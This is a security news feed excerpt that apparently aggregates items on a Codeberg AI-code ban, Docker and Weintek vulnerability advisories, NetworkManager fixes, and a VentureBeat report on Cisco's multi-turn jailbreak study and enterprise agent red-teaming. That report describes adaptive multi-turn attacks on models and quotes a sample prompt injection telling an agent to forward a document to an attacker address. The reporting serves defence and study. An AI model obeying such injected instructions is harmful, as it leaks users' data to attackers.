<content:encoded><![CDATA[<p><img width="406" height="232" src="https://i0.wp.com/www.omgubuntu.co.uk/wp-content/uploads/2026/07/codeberg-ai-slop-1.webp?resize=406%2C232&amp;ssl=1" class="attachment-post-list size-post-list wp-post-image" alt="Codeberg logo mountain peak superimposed over a scrapyard pile of junk and faint code, symbolising the platform's ban on AI-generated code" decoding="async" fetchpriority="high" srcset="https://i0.wp.com/www.omgubuntu.co.uk/wp-content/uploads/2026/07/codeberg-ai-slop-1.webp?resize=350%2C200&amp;ssl=1 350w, https://i0.wp.com/www.omgubuntu.co.uk/wp-content/uploads/2026/07/codeberg-ai-slop-1.webp?resize=406%2C232&amp;ssl=1 406w, https://i0.wp.com/www.omgubuntu.co.uk/wp-content/uploads/2026/07/codeberg-ai-slop-1.webp?resize=840%2C480&amp;ssl=1 840w, https://i0.wp.com/www.omgubuntu.co.uk/wp-content/uploads/2026/07/codeberg-ai-slop-1.webp?zoom=3&amp;resize=406%2C232&amp;ssl=1 1218w" sizes="(max-width: 406px) 100vw, 406px">Codeberg, the nonprofit alternative to GitHub used to host FLOSS projects, will no longer host software that’s “mostly” AI-generated. A vote closed yesterday (22 July, 2026), passing 358 to 144 with 14 abstentions on roughly 50% turnout to stop hosting software that’s largely vibe-coded. A second motion, also passed, commits Codeberg to never training AI models on hosted code or user data. Not that it was ever likely to. A Terms of Use amendment now prohibits projects that “mostly consist of code written by” generative AI tools. In a blog post, Codeberg explains the economic need for a ban, explaining […]</p>
<p>You're reading <a href="https://www.omgubuntu.co.uk/2026/07/codeberg-bans-ai-generated-code">Codeberg bans hosting ‘mostly’ AI-generated code</a>, a blog post from <a href="https://www.omgubuntu.co.uk/">OMG! Ubuntu</a>. Do not reproduce elsewhere without permission.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[ZDI-26-451: Docker Desktop for macOS Inference Server Permissive Allow List Sandbox Escape Vulnerability]]></title>
<description><![CDATA[This vulnerability allows local attackers to escape the model runner sandbox on affected installations of Docker Desktop for macOS. An attacker must first obtain the ability to execute low-privileged code within the sandbox in order to exploit this vulnerability. The ZDI has assigned a CVSS ratin...]]></description>
<link>https://tsecurity.de/de/3690363/sicherheitsluecken/zdi-26-451-docker-desktop-for-macos-inference-server-permissive-allow-list-sandbox-escape-vulnerability/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690363/sicherheitsluecken/zdi-26-451-docker-desktop-for-macos-inference-server-permissive-allow-list-sandbox-escape-vulnerability/</guid>
<pubDate>Fri, 24 Jul 2026 00:31:55 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[This vulnerability allows local attackers to escape the model runner sandbox on affected installations of Docker Desktop for macOS. An attacker must first obtain the ability to execute low-privileged code within the sandbox in order to exploit this vulnerability. The ZDI has assigned a CVSS rating of 8.8.]]></content:encoded>
</item>
<item>
<title><![CDATA[Microsoft Responds to LG Monitors Installing McAfee Ads On Windows]]></title>
<description><![CDATA[LG is removing a McAfee pop-up ad from its LG Monitor App Installer after criticism that some LG monitors were silently installing the app through Windows Update and showing ads on every boot. Microsoft says LG agreed to disable the McAfee pop-up, but the broader issue remains: Windows allows cer...]]></description>
<link>https://tsecurity.de/de/3690305/it-security-nachrichten/microsoft-responds-to-lg-monitors-installing-mcafee-ads-on-windows/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690305/it-security-nachrichten/microsoft-responds-to-lg-monitors-installing-mcafee-ads-on-windows/</guid>
<pubDate>Fri, 24 Jul 2026 00:09:16 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[LG is removing a McAfee pop-up ad from its LG Monitor App Installer after criticism that some LG monitors were silently installing the app through Windows Update and showing ads on every boot. Microsoft says LG agreed to disable the McAfee pop-up, but the broader issue remains: Windows allows certain peripheral companion apps to install automatically without notifying users. Ars Technica reports: Following Gamers Nexus' video, a Microsoft representative stated that the LG Monitor App Installer will no longer show pop-up ads for McAfee. In response to a social media post about the app, Pavan Davuluri, EVP of Windows and devices at Microsoft, said this week: "We've connected with the team at LG and as an immediate next step, they have agreed to disable the McAfee pop-up from their app. We appreciate LG working with us toward a shared goal of a better experience for our mutual customers. We will keep improving here with our ecosystem partners."
 
As mentioned, some LG monitors appear to have been installing LG Monitor App Installer onto Windows computers for months. Publication Windows Latest noted that the app recently got an update, "and its changelog mentions McAfee as an additional app," which could be what prompted more people to see the ads... and then complain about them. However, the removal of McAfee doesn't address the problem of a peripheral installing ad-pushing software onto people's computers.
 
Users have been finding LG Monitor App Installer and its ads on their systems without LG ever showing a prompt or asking for permission. LG has some of the most expensive computer monitors available. Paying, in some cases, over $1,000 for a monitor that ends up forcing ads onto Windows is disruptive and a privacy concern. Once the app is installed, "LG technically possesses permission to use 'all system resources,'" as well as to "collect geolocation, device data, online activity, contacts, user credentials, transactions, and more," [editor-in-chief of Gamers Nexus, Steve Burke] said.<p></p><div class="share_submission">
<a class="slashpop" href="http://twitter.com/home?status=Microsoft+Responds+to+LG+Monitors+Installing+McAfee+Ads+On+Windows%3A+https%3A%2F%2Ftech.slashdot.org%2Fstory%2F26%2F07%2F23%2F2137202%2F%3Futm_source%3Dtwitter%26utm_medium%3Dtwitter"><img src="https://a.fsdn.com/sd/twitter_icon_large.png"></a>
<a class="slashpop" href="http://www.facebook.com/sharer.php?u=https%3A%2F%2Ftech.slashdot.org%2Fstory%2F26%2F07%2F23%2F2137202%2Fmicrosoft-responds-to-lg-monitors-installing-mcafee-ads-on-windows%3Futm_source%3Dslashdot%26utm_medium%3Dfacebook"><img src="https://a.fsdn.com/sd/facebook_icon_large.png"></a>



</div><p><a href="https://tech.slashdot.org/story/26/07/23/2137202/microsoft-responds-to-lg-monitors-installing-mcafee-ads-on-windows?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[v2.35.5]]></title>
<description><![CDATA[What's Changed

[NDB PERMISSION_DENIED error] Fix trusty stacktrace on ANDROID_EMULATOR by @IvanBM18 in #5375
Fix engine fuzzers blobstore downloads  by @dylanjew in #5386

Full Changelog: v2.35.4...v2.35.5]]></description>
<link>https://tsecurity.de/de/3690264/it-security-tools/v2355/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690264/it-security-tools/v2355/</guid>
<pubDate>Thu, 23 Jul 2026 23:35:30 +0200</pubDate>
<category>💾 IT Security Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>What's Changed</h2>
<ul>
<li>[NDB PERMISSION_DENIED error] Fix trusty stacktrace on ANDROID_EMULATOR by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/IvanBM18/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/IvanBM18">@IvanBM18</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4953677825" data-permission-text="Title is private" data-url="https://github.com/google/clusterfuzz/issues/5375" data-hovercard-type="pull_request" data-hovercard-url="/google/clusterfuzz/pull/5375/hovercard" href="https://github.com/google/clusterfuzz/pull/5375">#5375</a></li>
<li>Fix engine fuzzers blobstore downloads  by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/dylanjew/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dylanjew">@dylanjew</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4962228186" data-permission-text="Title is private" data-url="https://github.com/google/clusterfuzz/issues/5386" data-hovercard-type="pull_request" data-hovercard-url="/google/clusterfuzz/pull/5386/hovercard" href="https://github.com/google/clusterfuzz/pull/5386">#5386</a></li>
</ul>
<p><strong>Full Changelog</strong>: <a class="commit-link" href="https://github.com/google/clusterfuzz/compare/v2.35.4...v2.35.5"><tt>v2.35.4...v2.35.5</tt></a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[NetworkManager update advances IPv6-only support, Wi‑Fi management, and security for Linux-based operating systems]]></title>
<description><![CDATA[Networking is core to any operating system, and when it comes to Linux, it’s actually a combination of several key components. The Linux kernel handles the data plane, moving packets, and holding live device state. NetworkManager is the network configuration service, operating as the control plan...]]></description>
<link>https://tsecurity.de/de/3690083/it-security-nachrichten/networkmanager-update-advances-ipv6-only-support-wifi-management-and-security-for-linux-based-operating-systems/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690083/it-security-nachrichten/networkmanager-update-advances-ipv6-only-support-wifi-management-and-security-for-linux-based-operating-systems/</guid>
<pubDate>Thu, 23 Jul 2026 21:34:46 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Networking is core to any operating system, and when it comes to Linux, it’s actually a combination of several key components. The Linux kernel handles the data plane, moving packets, and holding live device state. NetworkManager is the network configuration service, operating as the control plane, deciding what a device’s configuration should be.</p>



<p class="wp-block-paragraph"><a href="https://gitlab.freedesktop.org/NetworkManager/NetworkManager/-/releases/1.58.0">NetworkManager 1.58</a> was released this week, following more than five months of development and 407 commits since version 1.56. The release covers three areas: expanded support for IPv6-only networks, a set of Wi-Fi management updates, and a round of security hardening.</p>



<p class="wp-block-paragraph">IPv4 address exhaustion remains the pressure behind the first of those areas, pushing more networks toward IPv6-only operation every year.</p>



<p class="wp-block-paragraph">“More networks, mobile carriers, cloud providers, and anyone squeezed by IPv4 exhaustion are running IPv6-only by default,” <a href="https://www.linkedin.com/in/vanhoof/">Chris Van Hoof</a>, director of Linux engineering, platform enablement at Red Hat, told <em>Network World</em>.</p>



<h2 class="wp-block-heading">Advancing IPv6-only support</h2>



<p class="wp-block-paragraph">Dual stack networking, running IPv4 and IPv6 in parallel, has been the default IPv6 transition strategy for years. Dual stack networking, however, has a structural problem in that it still requires an IPv4 address on every device, so it does nothing to relieve address exhaustion pressure.</p>



<p class="wp-block-paragraph">An alternative model called IPv6-mostly addresses that gap. It is defined in RFC 8925, “IPv6-Only-Preferred Option for DHCPv4,” and lets capable clients drop IPv4 entirely while legacy hosts that still need it keep receiving it on the same network segment.</p>



<p class="wp-block-paragraph">“NetworkManager can also now auto-signal RFC 8925’s IPv6-only-preferred option, telling the network a host is fine skipping an IPv4 lease entirely,” Van Hoof said.</p>



<p class="wp-block-paragraph">For the traffic that still needs IPv4, NetworkManager 1.58 adds support for CLAT, short for customer-side translator. CLAT is the client-side half of 464XLAT, a mechanism defined in RFC 6877, “464XLAT: Combination of Stateful and Stateless Translation.”</p>



<p class="wp-block-paragraph">464XLAT pairs CLAT on the endpoint, which performs stateless header translation, with a stateful NAT64 translator on the provider side, letting IPv4-only apps keep functioning on a network that has no IPv4 of its own.</p>



<p class="wp-block-paragraph">“CLAT is the translation layer that lets legacy IPv4-only apps and services keep working on those networks without bolt-on middleware,” Van Hoof said.</p>



<h2 class="wp-block-heading">Wi-Fi management updates</h2>



<p class="wp-block-paragraph">NetworkManager 1.58 also brings a set of changes to how the daemon handles Wi-Fi connections and configuration.</p>



<ul class="wp-block-list">
<li><strong>Band selection: </strong>The band property of Wi-Fi connections now accepts a 6GHz value, and a Wi-Fi scan run through nmcli, NetworkManager’s command line tool, now shows each access point’s band as well.</li>



<li><strong>Credential handling:</strong> WPS credentials with a 64 character hex PSK are now accepted, matching what some access points return.</li>



<li><strong>Text interface improvements:</strong> nmtui, NetworkManager’s menu driven text interface, picked up several usability additions. A new device select button lets you choose a physical interface from a list instead of typing its name. The activation screen gained a rescan Wi-Fi button, and secret prompts now include a show password checkbox. There is also a share QR code option, mirroring the existing nmcli device wifi show-password command.</li>
</ul>



<h2 class="wp-block-heading">Security hardening</h2>



<p class="wp-block-paragraph">The release fixes vulnerabilities and tightens several defaults tied to DHCP handling and connection permissions.</p>



<ul class="wp-block-list">
<li><strong>CVE-2026-10805: </strong>Hostnames and MUD URLs are now validated before being written to the dhclient configuration file, rejecting characters that could alter the config syntax.</li>



<li><strong>DHCPv4 client fix: </strong>An out-of-bounds read in the internal DHCPv4 client, triggerable by an on-link attacker with a malformed UDP packet, has been fixed.</li>



<li><strong>Router option validation: </strong>The internal DHCPv4 client now ignores DHCP option 3, the Router option, when a lease also contains option 121, the Classless Static Route option, following the recommendation in RFC 3442.</li>



<li><strong>Permission checks and deprecations:</strong> For private connections that restrict access to specific users, NetworkManager now verifies that the user can access the referenced 802.1X certificates and keys.</li>
</ul>



<h2 class="wp-block-heading">Tunneling and automation updates</h2>



<p class="wp-block-paragraph">Two smaller but practical additions round out this release: a new tunnel type for virtualized networks, and a fix that closes a gap in how NetworkManager’s state survives a reboot.</p>



<p class="wp-block-paragraph">NetworkManager 1.58 also adds support for creating and managing GENEVE tunnel interfaces. GENEVE, short for Generic Network Virtualization Encapsulation, is a tunneling protocol that wraps Ethernet frames inside UDP packets, letting virtualized or overlay networks run on top of physical Layer 3 infrastructure. It shows up mainly in virtualization and cloud environments, where a hypervisor or container networking layer needs to build a virtual network segment across physical hosts. Previously, NetworkManager could not create or manage these interfaces directly.</p>



<p class="wp-block-paragraph">The release also adds persisted managed state. NetworkManager tracks whether it is responsible for a given network device, a setting called its managed state. Until now, that setting reset on every reboot, so provisioning tools had to reapply it each time a system restarted. NetworkManager 1.58 lets the managed state survive a reboot when it is set through nmcli or the D-Bus API.</p>



<p class="wp-block-paragraph">“It’s a small change but closes a real automation gap: Provisioning tools and cloud-init style workflows can set a device’s state once via D-Bus or nmcli and trust it survives a reboot, instead of reapplying config every time,” Van Hoof said.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Multi-turn attacks broke AI models 88% of the time — single-turn testing missed it, Cisco AI security lead warns at VB Transform 2026]]></title>
<description><![CDATA[When Cisco ran 6,986 multi-turn attacks against 15 flagship models, attackers who adapted across the conversation broke through as often as 88.3% of the time. Amy Chang, Cisco's head of AI threat intelligence and security research, brought that finding to the agentic security panel at VB Transfor...]]></description>
<link>https://tsecurity.de/de/3690018/it-nachrichten/multi-turn-attacks-broke-ai-models-88-of-the-time-single-turn-testing-missed-it-cisco-ai-security-lead-warns-at-vb-transform-2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690018/it-nachrichten/multi-turn-attacks-broke-ai-models-88-of-the-time-single-turn-testing-missed-it-cisco-ai-security-lead-warns-at-vb-transform-2026/</guid>
<pubDate>Thu, 23 Jul 2026 20:48:24 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>When Cisco ran 6,986 multi-turn attacks against <a href="https://blogs.cisco.com/ai/proprietary-problems">15 flagship models</a>, attackers who adapted across the conversation broke through as often as 88.3% of the time. Amy Chang, Cisco's head of AI threat intelligence and security research, brought that finding to the agentic security panel at <a href="https://venturebeat.com/vbtransform2026">VB Transform 2026</a>; the number should worry anyone still running single-turn red-teaming programs.</p><p><a href="https://venturebeat.com/resources/the-agent-security-gap-54-of-enterprises-have-already-had-an-ai-agent-incident-and-most-still-let-agents-share-credentials">VentureBeat's June 2026 Pulse survey of 107 enterprise respondents</a> explains why the room was full. More than half, 54%, have already had a confirmed agent security incident (18%) or a near-miss caught before harm (36%). Just 32% give every agent its own scoped, managed identity, and fewer still, 30%, isolate their highest-risk agents in sandboxes. Provider-native and hyperscaler controls remain the primary agent security layer at <a href="https://venturebeat.com/security/shared-api-keys-expose-ai-agent-fleets-venturebeat-research">82% of companies surveyed</a>. The world's largest security vendors have done the same math. </p><p>Palo Alto Networks closed its <a href="https://www.paloaltonetworks.com/company/press/2026/palo-alto-networks-completes-acquisition-of-cyberark-to-secure-the-ai-era">$25 billion acquisition of CyberArk</a> in February, CrowdStrike <a href="https://www.crowdstrike.com/en-us/press-releases/crowdstrike-to-acquire-sgnl-to-transform-identity-security-for-ai-era/">agreed in January to pay $740 million for SGNL</a>, and Cisco announced its <a href="https://blogs.cisco.com/news/cisco-announces-intent-to-acquire-astrix-security">intent to acquire Astrix Security</a> for a reported $400 million, all of it aimed at the identity and isolation layer most enterprises have not finished building.</p><div></div><p>Chang came to the panel with almost two decades of experience spanning cybersecurity operations, government, and the military. She ran global cybersecurity operations as an executive director at JPMorgan Chase, where she led the bank's cyber threat intelligence teams, and served as a senior staffer on the House Foreign Affairs Committee and as a U.S. Navy Reserve officer. She also teaches cybersecurity and emerging threats as adjunct faculty at the Middlebury Institute of International Studies.</p><p>Chang's 88.3% number comes from a study she co-authored with Nicholas Conley, built on 30,090 single-turn prompts and 6,986 multi-turn attacks against those 15 closed and proprietary flagship models. Multi-turn success rates ranged from 7.89% to 88.3%, every model tested showed non-trivial multi-turn exposure, and the two testing styles did not even rank the models in the same order. Cisco publishes adversarial evaluation signals for what is now 105 models on its <a href="https://leaderboard.aidefense.cisco.com/">LLM Security Leaderboard</a>, she told the audience.</p><p>"If you don't understand how models are susceptible to different types of attacks, then you are unable to account for how that model that is powering your agent, that is powering your application, to understand where those failure points are," Chang said. Single-turn testing is the one-shot malicious prompt, she explained, while extending an attack into a longer conversation "is more realistic of how we are actually engaging with our models, with our agents, with our applications." That longer arc surfaces harmful outputs and misaligned behaviors that a snapshot never catches.</p><p>Cisco has pushed the testing itself into agentic territory. Chang described a framework where agents assess a deployment scenario, develop relevant attacks, judge whether they are worth pursuing, execute them, and evaluate their own success. What surprised her most, after all that sophistication, was how simple the defensive answer stays. "The answer is still that it's pretty simple," she said. "You don't have to get super creative. You just need to think about truly what are the fundamentals and basics of what I'm trying to secure in my organization."</p><p>Her starting point for CISOs beginning agentic deployments is Cisco's <a href="https://blogs.cisco.com/ai/security-framework">Integrated AI Security and Safety Framework</a>, which she said "stipulates all the ways that AI can be compromised across the AI lifecycle" from modality through supply chain. From there, teams can work backward from real incidents, trace how each attack was achieved, and use the framework to build a strategy with the right coverage and mitigations.</p><p>Heather Ceylan, the CISO of Box, sees the same gap from the defender's side. "A lot of what you see out there with agent red teaming is just single-turn, and that's not how people are actually interacting with AI day-to-day," she told the audience. Box now simulates multi-turn adversaries with agents that think like an attacker and iterate attempt after attempt to hijack the target. "You have to pressure test your agents because otherwise you don't know if your execution controls are really working as you intended."</p><p>Box deployed agents inside its security operations center about a year ago, starting with human approval required for every action, and trust built quickly enough that analysts shifted into monitoring mode. Then the agent made one mistake, and every bit of that accumulated trust vanished. "They had to start all over again," she said. "So I think that that monitoring piece is so important. Even if you're not gonna have a human in the loop, things change, models change, and we can't control how the models change and interpret things."</p><p>Rajesh Parekh, VP of AI and ML at Intuit, brought the builder's perspective. Parekh led large-scale computer vision and ML systems powering Google's Maps and Geo products before joining Intuit, and holds a doctorate in computer science. </p><h2>Three layers versus an operating system</h2><p>Ceylan described Box's approach as three concentric layers. Permissioning comes first, so the agent never accesses more content than the human who invoked it. Ephemeral sandbox environments spin up for each agent task, containing the blast radius if an agent gets hijacked, and runtime execution control restricts the agent's tool calls to only those relevant to the task at hand. "If you want an agent to summarize a doc for you, if you have a prompt injection that came in that says forward this to maliciousattacker at domain.com, it can't do that," Ceylan said. "That action in that tool call is not even in its vocabulary."</p><p>She classified agent actions into three oversight categories. Actions that are not sensitive, like read and summarize, need no human in the loop. Moderately sensitive actions skip human approval but get logged and monitored, while destructive actions like mass deletion of files always require a human. "Things are gonna shift between those three categories quite a bit," she acknowledged, "but setting those types of categories up front allows you to have a principled framework."</p><p>Rather than layering controls onto agents one at a time, Intuit has built a central platform called GenOS, short for generative AI operating system, which abstracts security, risk, and fraud modeling so individual agent developers never reinvent protection. "Permissioning is not about giving access to AI," Parekh said. "Instead, it is defining very tightly scoped and clearly auditable authority to the agent to perform very specific tasks." Intuit evolved from agents inheriting user permissions to each agent carrying its own identity, and the company is now investigating mid-session permission changes tied to the specific task underway.</p><p>Parekh calls the broader model an AI-powered expert platform, one where the human expert is built into the trust architecture rather than bolted on as a gate. "The paradigm that we are pursuing is where the user, the AI agent, and the human expert are collaborating to solve the user problem," he said.</p><h2>The end of human code review</h2><p>Ceylan took on the tension between security testing and development velocity without hedging. "The days of secure code reviews where a human's looking at the code and we're looking at security architecture reviews, design docs, those are done," she said. "If you keep trying to do security that way, you're gonna get left behind." Box is building toward a fully agentic development lifecycle where agents review design documents, apply security requirements, and review the code for vulnerabilities. "I'm very optimistic that we will get to a point where we will write code without security vulnerabilities because agents and the models are going to get so good at writing code without vulnerabilities," she said. "We're still a long way away from that."</p><p>Her advice for development teams skips the advanced AI concepts entirely and returns to basics that predate agents. "It comes down to very basic least privilege access," she said. "If you start giving your agents overly broad permissions at the beginning, it's really hard to comb that back and build an infrastructure that allows for those ephemeral credentials and only those narrowly scoped tasks."</p><p>Parekh explained why the red teaming surface has expanded so quickly. "These agents have skills, and skills could become vulnerabilities," he said. "Agents have access to certain data, they have access to tools, and there could be threats that are lurking within those tools as well. So suddenly the blast radius of the malicious code or the intent increases dramatically." When Intuit identifies common vulnerability patterns from its manual red teaming exercises, it automates those tests back into the GenOS harness so future agents inherit protection and red teamers stay focused on new threat vectors. Runtime scanning of prompts and responses adds a final layer that can stop a suspect response and escalate to a human expert, he said.</p><p>"You need to continuously test to ensure that those remain robust to the protections that you have built, as well as to account for any sort of drift or any other types of dependencies that you introduce into your scenario that can create novel vulnerabilities," she said.</p><h2>Intent versus probability</h2><p>An audience question about intent detection set off the sharpest exchange of the session. Ceylan noted that when Box's own agent operates, the system always knows the user's intent because it controls the prompt, which means guardrails and tool-call restrictions can be engineered around it. The harder challenge, which she admitted Box is still trying to solve, arrives when external agents connect and the context behind the request is opaque.</p><p>That exchange exposed a split running through the wider industry. Mastercard, in the fireside chat immediately preceding the panel, came down on the side of quantifying intent, building an open-source framework to propagate it as a standard because complex B2B procurement cannot work without that trust. Endpoint security CTOs, in briefings with VentureBeat, have gone the other way, saying they will bet on probability rather than intent inference for production workloads. Chang explained why models, as they are trained today, cannot reliably derive intent from a prompt, which is why deterministic controls and behavioral proxies remain necessary. Ceylan agreed that both are required. "If you're not doing anything deterministic, you're really relying heavily on that intent, and I haven't seen programs that are there yet," she said.</p><p>Ceylan's story about trust collapsing after a single agent mistake landed as the panel's most memorable moment because enterprise agentic security is not a problem that gets solved and stays solved. Models change, permissions drift, and adversaries adapt across multi-turn conversations that snapshot tests never capture.</p><p>For the 82% of enterprises relying on provider-native controls as their primary security layer, and the 59% shopping for agent security tooling over the next 12 months, the panel's takeaway was blunt. Test the way attackers attack, across full conversations and continuously, or find out in production what your single-turn red teaming missed.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Weintek cMT3092X]]></title>
<description><![CDATA[View CSAF
Summary
Successful exploitation of these vulnerabilities could allow a non-privileged user to escalate privileges or view the credentials of other users.
The following versions of Weintek cMT3092X are affected:

cMT3092X firmware]]></description>
<link>https://tsecurity.de/de/3689937/it-security-nachrichten/weintek-cmt3092x/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689937/it-security-nachrichten/weintek-cmt3092x/</guid>
<pubDate>Thu, 23 Jul 2026 20:16:14 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><a href="https://github.com/cisagov/CSAF/blob/develop/csaf_files/OT/white/2026/icsa-26-204-03.json"><strong>View CSAF</strong></a></p>
<h2>Summary</h2>
<p><strong>Successful exploitation of these vulnerabilities could allow a non-privileged user to escalate privileges or view the credentials of other users.</strong></p>
<p>The following versions of Weintek cMT3092X are affected:</p>
<ul>
<li>cMT3092X firmware &lt;20210218 </li>
<li>EasyWeb &lt;v2.1.20</li>
</ul>
<div class="csaf-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS</th>
<th role="columnheader">Vendor</th>
<th role="columnheader">Equipment</th>
<th role="columnheader">Vulnerabilities</th>
</tr>
</thead>
<tbody>
<tr>
<td>v3 8.8</td>
<td>Weintek</td>
<td>Weintek cMT3092X</td>
<td>Reliance on Cookies without Validation and Integrity Checking in a Security Decision, Incorrect Permission Assignment for Critical Resource, Plaintext Storage of a Password, Incorrect User Management</td>
</tr>
</tbody>
</table>
</div>
<h3>Background</h3>
<ul>
<li><strong>Critical Infrastructure Sectors: </strong>Critical Manufacturing</li>
<li><strong>Countries/Areas Deployed: </strong>Worldwide</li>
<li><strong>Company Headquarters Location: </strong>Taiwan</li>
</ul>
<hr>
<h2>Vulnerabilities</h2>
<div class="csaf-accordion">
<p><a class="csaf-accordion-toggle-all" href="https://www.cisa.gov/#">Expand All +</a></p>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-60134</a></h3>
<div class="csaf-accordion-content">
<p>Weintek cMT3092X HMI allows a non-privileged user to modify cookies to gain elevated privileges.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-60134">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Weintek cMT3092X</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Weintek</div>
<div class="ics-version"><strong>Product Version:</strong><br>Weintek cMT3092X firmware: &lt;20210218, Weintek EasyWeb: &lt;v2.1.20</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Weintek recommends users apply the patch package named cmt_typeB_20260316_007.patch, which contains a newer EasyWeb 2.3.17-typeb. This fix will be delivered as a patch-only update; no separate standard firmware release is planned. Users may request the patch directly from Weintek support (https://www.weintek.com/globalw/Support/Knowledge.aspx) or from distributors.<br><a href="https://www.weintek.com/globalw/Support/Knowledge.aspx">https://www.weintek.com/globalw/Support/Knowledge.aspx</a></p>
<p><strong>Mitigation</strong><br>Weintek has published a document with more details about this issue at https://dl.weintek.com/public/Document/TEC/TEC25003E_cMT_EasyWeb_V2_Security_Issues.pdf.<br><a href="https://dl.weintek.com/public/Document/TEC/TEC25003E_cMT_EasyWeb_V2_Security_Issues.pdf">https://dl.weintek.com/public/Document/TEC/TEC25003E_cMT_EasyWeb_V2_Security_Issues.pdf</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/784.html">CWE-784 Reliance on Cookies without Validation and Integrity Checking in a Security Decision</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>8.8</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
<tr>
<td>4.0</td>
<td>8.7</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/4.0#CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N">CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-61892</a></h3>
<div class="csaf-accordion-content">
<p>Weintek cMT3092X HMI allows a non-privileged user to modify tokens to escalate privileges.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-61892">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Weintek cMT3092X</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Weintek</div>
<div class="ics-version"><strong>Product Version:</strong><br>Weintek cMT3092X firmware: &lt;20210218, Weintek EasyWeb: &lt;v2.1.20</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Weintek recommends users apply the patch package named cmt_typeB_20260316_007.patch, which contains a newer EasyWeb 2.3.17-typeb. This fix will be delivered as a patch-only update; no separate standard firmware release is planned. Users may request the patch directly from Weintek support (https://www.weintek.com/globalw/Support/Knowledge.aspx) or from distributors.<br><a href="https://www.weintek.com/globalw/Support/Knowledge.aspx">https://www.weintek.com/globalw/Support/Knowledge.aspx</a></p>
<p><strong>Mitigation</strong><br>Weintek has published a document with more details about this issue at https://dl.weintek.com/public/Document/TEC/TEC25003E_cMT_EasyWeb_V2_Security_Issues.pdf.<br><a href="https://dl.weintek.com/public/Document/TEC/TEC25003E_cMT_EasyWeb_V2_Security_Issues.pdf">https://dl.weintek.com/public/Document/TEC/TEC25003E_cMT_EasyWeb_V2_Security_Issues.pdf</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/732.html">CWE-732 Incorrect Permission Assignment for Critical Resource</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
